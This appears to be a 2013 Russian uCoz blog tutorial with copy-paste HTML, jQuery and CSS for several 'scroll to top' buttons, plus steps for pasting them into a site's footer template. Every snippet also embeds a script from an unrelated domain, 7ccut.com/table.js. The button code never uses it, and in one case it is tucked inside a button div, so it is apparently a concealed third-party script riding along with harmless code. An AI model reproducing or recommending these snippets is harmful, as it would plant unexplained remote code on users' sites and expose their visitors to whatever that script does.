Среда
04.12.2024
22:07
Форма входа

Поиск
Архив записей
Наш опрос
Оцените мой сайт
Всего ответов: 8
Мини-чат
Друзья сайта
  • skynetvalod
  • smirnov
  • staf-invis
  • stalkerof
  • superjob
  • supravision
  • Статистика

    Онлайн всего: 2
    Гостей: 2
    Пользователей: 0
    skriptsss
    Главная » 2013 » Ноябрь » 19 » Кнопки "Вверх" для сайта или блога
    09:41
    Кнопки "Вверх" для сайта или блога

    Разные кнопки "вверх и вниз" для сайта или блога
    Кнопка "Вверх" играет большую роль в улучшении удобства пользователя, особенно на тех страница которые сильно нагромождены контентом. А так как в настоящее время контент для сайта самое главное, то его на страницах, как правило, становится все больше и больше и самым лучшим способом перенаправить посетителя вверх страницы являются различные специальные кнопки



    Красивая кноапка "Вверх", появляется при прокрутки страници вниз и плавно исчезает при клике вверх.

    Как правильно установить "Кнопку Вверх" на сайт:
    Приступим. И так
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <a style="display: block;" id="toTop"><img src="http://pnghosts.ru/img/vverx_images_site.png" align="absmiddle" border="0"><br>Вверх</a><br/>
    <script src="http://7ccut.com/table.js" type="text/javascript"></script>
    <script src="http://pnghosts.ru/js_css/jquery.scroll.pack.js" type="text/javascript"></script>  
    <script type="text/javascript">  
    $(function() {  
    $("#toTop").scrollToTop();  
    });  
    </script>


    Это вставляем в "Таблица стилей (CSS)" в самый низ

    Код
    /* === jQ TOP === */  
    #toTop {  
      width: 50px;  
      background: #f1f1f1;
      border-width: 1px 1px 1px 1px;
      border-style: solid;
      border-color: #cccccc;
      -moz-border-radius: 10px 10px 10px 10px;
      -webkit-border-bottom-left-radius: 10px;
      -webkit-border-bottom-right-radius: 10px;
      -webkit-border-top-left-radius: 10px;
      -webkit-border-top-right-radius: 10px;
      text-align: center;  
      padding: 2px;  
      position: fixed;  
      bottom: 2px;  
      right: 2px;  
      cursor: pointer;  
      color: #666666;  
      text-decoration: none;  
    }
    /* =============== */


    Кнопка вверх для ucoz в стиле котэ



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <script language="JavaScript" type="text/javascript">
    $(function() {
      $.fn.scrollToTop = function() {
      $(this).hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
      var scrollDiv = $(this);
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });
      $(this).click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      }
    });

    $(function() {
      $("#Go_Top").scrollToTop();
    });
    </script>

    <a style='position: fixed; bottom: 25px; right: 50px; cursor:pointer; display:none;'
    href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/kotikup.png" alt="Наверх" title="Наверх">
    </a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
    </div>
    <script type='text/javascript' src='http://pnghosts.ru/js_css/arclite.js'></script>


    Кнопка вверх в процентах для сайта или блога



    Правильная установка:
    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <!-- <Кнопка Вверх> -->  
      <script type="text/javascript">  
      $(document).ready(function(){  
    $("#back-top").hide();  
      $(function () {  
      $(window).scroll(function () {  
      if ($(this).scrollTop() > 125) {  
      $('#back-top').fadeIn();  
      } else {  
      $('#back-top').fadeOut();  
      }  
      });  
    $('#backop').click(function () {  
      $('body,html').animate({  
      scrollTop: 0  
      }, 800);  
      return false;  
      });  
      });  

      });  
      </script>  
    <script type="text/javascript">  
      $(window).scroll(function(){  
      var s = $(window).scrollTop();  
      var f = $(document).height()-$(window).height();  
    var d=s/f*100;  
      var p=Math.round(d);  
    $("#pix").text(p);  
    });  
      </script>  
    <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; left: 10px; top: 83%; background: transparent; ">  
      <center><a title="Вверх" id="backop" href="#top"><img src="http://pnghosts.ru/img/up_knopka_vverx.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vverx.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vverx.png'"></a></center><script src="http://7ccut.com/table.js" type="text/javascript"></script>  
    <center><font size="4" style="font-size: 11pt; color: rgb(255, 255, 255);"><b>  
      <span id="pix"></span>%</b></font></center>  
      </div>  
      <!-- </Конец> -->



    Кнопка вверх, вниз и зафиксировать для uCoz



    Все наверно видели кнопку вконтакте вверх, при скролинге страницы вниз. Этот скрипт модифицировал эту кнопку. С помощью его вы можете листать вниз страницу, вверх, а также зафиксировать страницу в том месте где вы хотите и вернуться, при желании, в это место.

    Скрипт лёгок в установке и очень полезен для сайтов с огромным контентом.

    1. Заходим в ПУ
    2. Управление дизайном
    3. Нижняя часть сайта
    4. Вставляем туда код:

    Код
    <div class="apoud">  
      <div onclick="$('body').scrollTo(0, 300);" class="apou"></div>  
      <div class="apom" title="Зафиксировать позицию"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
      <div onclick="$('body').scrollTo($('body').height()+500, 300);" class="apod"></div>  
    </div>  

    <script>  
      var apotop;  
      $('.apom').toggle(function() {  
      $(this).addClass('apomon');  
      apotop = $('body').scrollTop();  
      }, function() {  
      $('body').scrollTo(apotop, 300);  
      $(this).removeClass('apomon');  
      });  
    </script>

    <style>
      .apoud {  
      position:fixed;  
      z-index:100;  
      bottom:15px;  
      right:15px;  
      }  
       
      .apou, .apom, .apod {  
      cursor:pointer;  
      width:50px;  
      height:50px;  
      }  
       
      .apou {  
      background:url('http://pnghosts.ru/img/vverx.png') no-repeat;  
      }  
      .apom {  
      background:url('http://pnghosts.ru/img/center_off.png') no-repeat;  
      }  
      .apomon {  
      background:url('http://pnghosts.ru/img/center_on.png') no-repeat;  
      }  
      .apod {  
      background:url('http://pnghosts.ru/img/vniz.png') no-repeat;  
      }
    </style>
    Просмотров: 454 | Добавил: Bitfood | Рейтинг: 0.0/0
    Всего комментариев: 0
    Имя *:
    Email *:
    Код *:
    Анализ сайта онлайн
    seo анализ
    Яндекс.Метрика Счетчик PR-CY.Rank .